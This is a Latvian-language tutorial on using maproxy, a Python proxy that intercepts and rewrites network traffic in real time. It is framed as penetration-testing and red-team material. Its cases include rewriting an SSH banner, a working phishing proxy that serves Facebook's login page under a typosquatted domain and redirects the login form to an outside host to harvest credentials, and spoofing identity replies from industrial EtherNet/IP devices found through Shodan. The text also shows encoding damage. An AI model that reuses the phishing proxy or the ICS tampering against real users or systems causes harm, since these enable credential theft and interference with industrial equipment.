Tīkla datu apstrāde reālā laikā

Raksta tulkojums sagatavots kursa uzsākÅ”anas priekÅ”vakarā Ā«Pentests. Praktiskā iekļuves testēŔanaĀ».

Tīkla datu apstrāde reālā laikā

Anotācija

Dažādi droŔības novērtējumu veidi, sākot no regulāras iekļuves testēŔanas un Red Team operācijām lÄ«dz IoT/ICS ierīču un SCADA uzlauÅ”anai, ietver darbu ar binārajām tÄ«kla protokoliem, proti, bÅ«tÄ«bā pakalpojumu datu pārtverÅ”anu un modifikāciju starp klientu un mērÄ·i. TÄ«kla trafika sniffing nav sarežģīta uzdevums, jo mums ir tādi rÄ«ki kā Wireshark, Tcpdump vai Scapy, tomēr modifikācija izrādās sarežģītāka, jo mums bÅ«s nepiecieÅ”ams veikt savu veidu interfeisu, lai lasÄ«tu tÄ«kla datus, filtrētu tos, mainÄ«tu reālā laikā un nosÅ«tÄ«tu atpakaļ uz mērÄ·a hostu gandrÄ«z reālā laikā. Turklāt bÅ«tu ideāli, ja Ŕāds rÄ«ks varētu automātiski strādāt ar vairākiem paralēliem savienojumiem un bÅ«tu iespējama pielāgoÅ”ana, izmantojot skriptus.

Reiz es atklāju rÄ«ku, kas saucas maproxy, dokumentācija ātri lika man saprast, ka maproxy – tieÅ”i tas, kas man nepiecieÅ”ams. Tas ir diezgan vienkārÅ”s, universāls un viegli konfigurējams TCP proxy. Es testēju Å”o rÄ«ku ar vairākām diezgan sarežģītām lietojumprogrammām, tostarp ICS ierÄ«cēm (kuras Ä£enerē daudz pakotņu), lai noskaidrotu, vai tas var strādāt ar daudzām paralēlām savienojumiem, un rÄ«ks lieliski sevi parādÄ«ja.

Šis raksts iepazīstinās ar tīkla datu apstrādi reālā laikā, izmantojot maproxy.

Pārskats

RÄ«ks maproxy balstÄ«ts uz Tornado – populāru un attÄ«stÄ«tu asinkrono tÄ«kla ietvaru Python valodā.

Kopumā tas var darboties vairākos režīmos:

  • TCP:TCP – neÅ”ifrēti TCP savienojumi;
  • TCP:SSL un SSL:TCP – ar vienpusēju Å”ifrēŔanu;
  • SSL:SSL – divpusējā Å”ifrēŔana.

Tas tiek piegādāts kā bibliotēka. Ātrai palaiÅ”anai jÅ«s varat izmantot failu piemērus, kas atspoguļo galvenās bibliotēkas funkcijas:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kāds 1 – vienkārÅ”s divvirzienu proxy

Pamatojoties uz tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Pa noklusējumu ProxyServer() pieņem divus argumentus – savienojuma vietu un mērÄ·a portu. server.listen() pieņem vienu argumentu – portu, lai klausÄ«tos ienākoÅ”ajiem savienojumiem.

Skripta izpilde:

# python tcp2tcp.py

Lai veiktu testu, mēs plānojam pieslēgties vietējai SSH serverim caur mūsu starpniekservera skriptu, kas klausās uz 2222/tcp porta un pieslēdzas standartportam 22/tcp SSH servera:

Tīkla datu apstrāde reālā laikā

Sveiciena baneris liecina, ka mūsu skripts veiksmīgi ir starpniekserverojis tīkla trafiku.

GadÄ«jums 2 – datu modifikācija

Cits demo skripts logging_proxy.py ideāli piemērots tīkla datu apstrādei. Komentāri failā apraksta klases metodes, kuras jūs varat modificēt, lai sasniegtu savu mērķi:

Tīkla datu apstrāde reālā laikā

Interesantākais Ŕeit:

  • on_c2p_done_read – lai pārtvertu datus ceļā no klienta uz serveri;
  • on_p2s_done_read – pretējā virzienā.

Mēģināsim mainīt SSH baneri, ko serveris atgriež klientam:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ievērojiet skriptu:

Tīkla datu apstrāde reālā laikā

Kā redzat, klients tika maldināts, jo viņam SSH servera nosaukums tika aizvietots ar Ā«DumnySSHĀ».

Tīkla datu apstrāde reālā laikā

GadÄ«jums 3 – vienkārÅ”a makŔķerēŔanas tÄ«mekļa lapa

Ir bezgalÄ«gas iespējas izmantot Å”o rÄ«ku. Å oreiz koncentrēsimies uz kaut ko praktiskāku no Red Team operācijām. Mēģināsim simulēt lapu m.facebook.com un izmantosim pielāgotu domēnu ar apzinātu rakstzÄ«mju kļūdu, piemēram, m.facebok.com. Demonstrācijas nolÅ«kos pieņemam, ka domēns ir reÄ£istrēts mÅ«su vārdā.

Plānojam izveidot neÅ”ifrētu tÄ«kla savienojumu ar mÅ«su upuru starpniekserveri un SSL Stream Facebook serverim (31.13.81.36). Lai Å”is piemērs darbotos, mums jāaizvieto HTTP Host galvene un jāievieto pareizais host nosaukums, kā arÄ« mēs atslēgsim atbilžu saspieÅ”anu, lai iegÅ«tu vieglu piekļuvi to saturam. Galu galā mēs aizvietosim HTML formu, lai pieteikÅ”anās dati tiktu nosÅ«tÄ«ti mums, nevis Facebook serveriem:

[…]
def on_c2p_done_read(self,data):
 # aizvietojam Host galveni
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# atslēdzam saspieÅ”anu
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # daļēja atbildes aizvietoÅ”ana
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Rezultātā:

Tīkla datu apstrāde reālā laikā

Kā redzat, mēs veiksmīgi spējam aizvietot oriģinālo tīmekļa vietni.

GadÄ«jums 4 – mainām Ethernet/IP

Es ilgu laiku esmu strādājis ar rÅ«pnieciskajām ierÄ«cēm un programmatÅ«ru (ICS / SCADA), piemēram, programmējamām kontrolieriem (PLC), ievades-izvades moduļiem, piedziņām, relejiem, kā arÄ« programmēŔanas vidēm un daudz ko citu. Å is gadÄ«jums ir paredzēts tiem, kam patÄ«k rÅ«pnieciskās lietas. Šādu risinājumu pārkāpÅ”ana ietver aktÄ«vu spēli ar tÄ«kla protokoliem. Nākamajā piemērā es gribu parādÄ«t, kā jÅ«s varat modificēt ICS/SCADA tÄ«kla trafiku.

Tam jums būs nepiecieŔams sekojoŔais:

  • TÄ«kla sniffer, piemēram, Wireshark;
  • Ethernet/IP vai vienkārÅ”i SIP ierÄ«ce, ko varat atrast, izmantojot Shodan pakalpojumu;
  • MÅ«su skripts balstās uz maproxy.

Lai sāktu, apskatīsim, kā izskatās tipisks identifikācijas atbildes no CIP (Common Industrial Protocol):

Tīkla datu apstrāde reālā laikā

IerÄ«ces identifikācija notiek, izmantojot Ethernet/IP protokolu, kas ir paplaÅ”inātā versija Ethernet protokolam rÅ«pnieciskām vajadzÄ«bām, tas ietver kontroles protokolus, piemēram, CIP. Mēs plānojam mainÄ«t apzÄ«mēto identifikācijas nosaukumu, kas redzams ekrānuzņēmumā ā€žNI-IndComm for Ethernetā€ ar mÅ«su starpniek-servera skriptu. Mēs varētu atkārtoti izmantot skriptu logging_proxy.py un lÄ«dzÄ«gi modificēt klases metodi on_p2s_done_read, jo mēs vēlamies, lai klientam bÅ«tu redzams cits identifikācijas nosaukums.

Kods:

[…]
 def on_p2s_done_read(self,data):
 # daļēja atbildes nomaiņa

 # Pārbaudām, vai saņemta List Identity ziņojuma atbilde
     if data[26:28] == b'x0cx00':
         print('Saņemta atbilde, nomainām')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Pamatā mēs divreiz pieprasÄ«jām ierÄ«ces identifikāciju, otrais atbildes ziņojums – oriÄ£inālais, bet pirmais tika modificēts uz vietas.

Un beigās

Manā skatÄ«jumā maproxy ērts un vienkārÅ”s rÄ«ks, kas, turklāt, ir uzrakstÄ«ts Python valodā, tāpēc es uzskatu, ka arÄ« jÅ«s varat gÅ«t labumu no tā izmantoÅ”anas. Protams, pastāv arÄ« sarežģītāki rÄ«ki tÄ«kla datu apstrādei un modificēŔanai, taču tie prasa arÄ« lielāku uzmanÄ«bu un parasti tiek izstrādāti konkrētiem lietoÅ”anas scenārijiem, piemēram, Muraena, Modlishka vai evilginx lÄ«dzÄ«giem gadÄ«jumiem, vai canape pēdējam gadÄ«jumam. Tā vai citādi, ar palÄ«dzÄ«bu maproxy jÅ«s varat ātri Ä«stenot savas idejas par tÄ«kla datu nozagÅ”anu, jo skriptu piemēri ir ļoti vizuāli.

Windows AD autentifikācijas mehānismu testēŔana

Avots: habr.com

Iegādājieties uzticamu tÄ«mekļa hostingu ar DDoS aizsardzÄ«bu, VPS VDS serveriem šŸ”„ Iegādājieties uzticamu tÄ«mekļa hostingu ar DDoS aizsardzÄ«bu, VPS VDS serveriem | ProHoster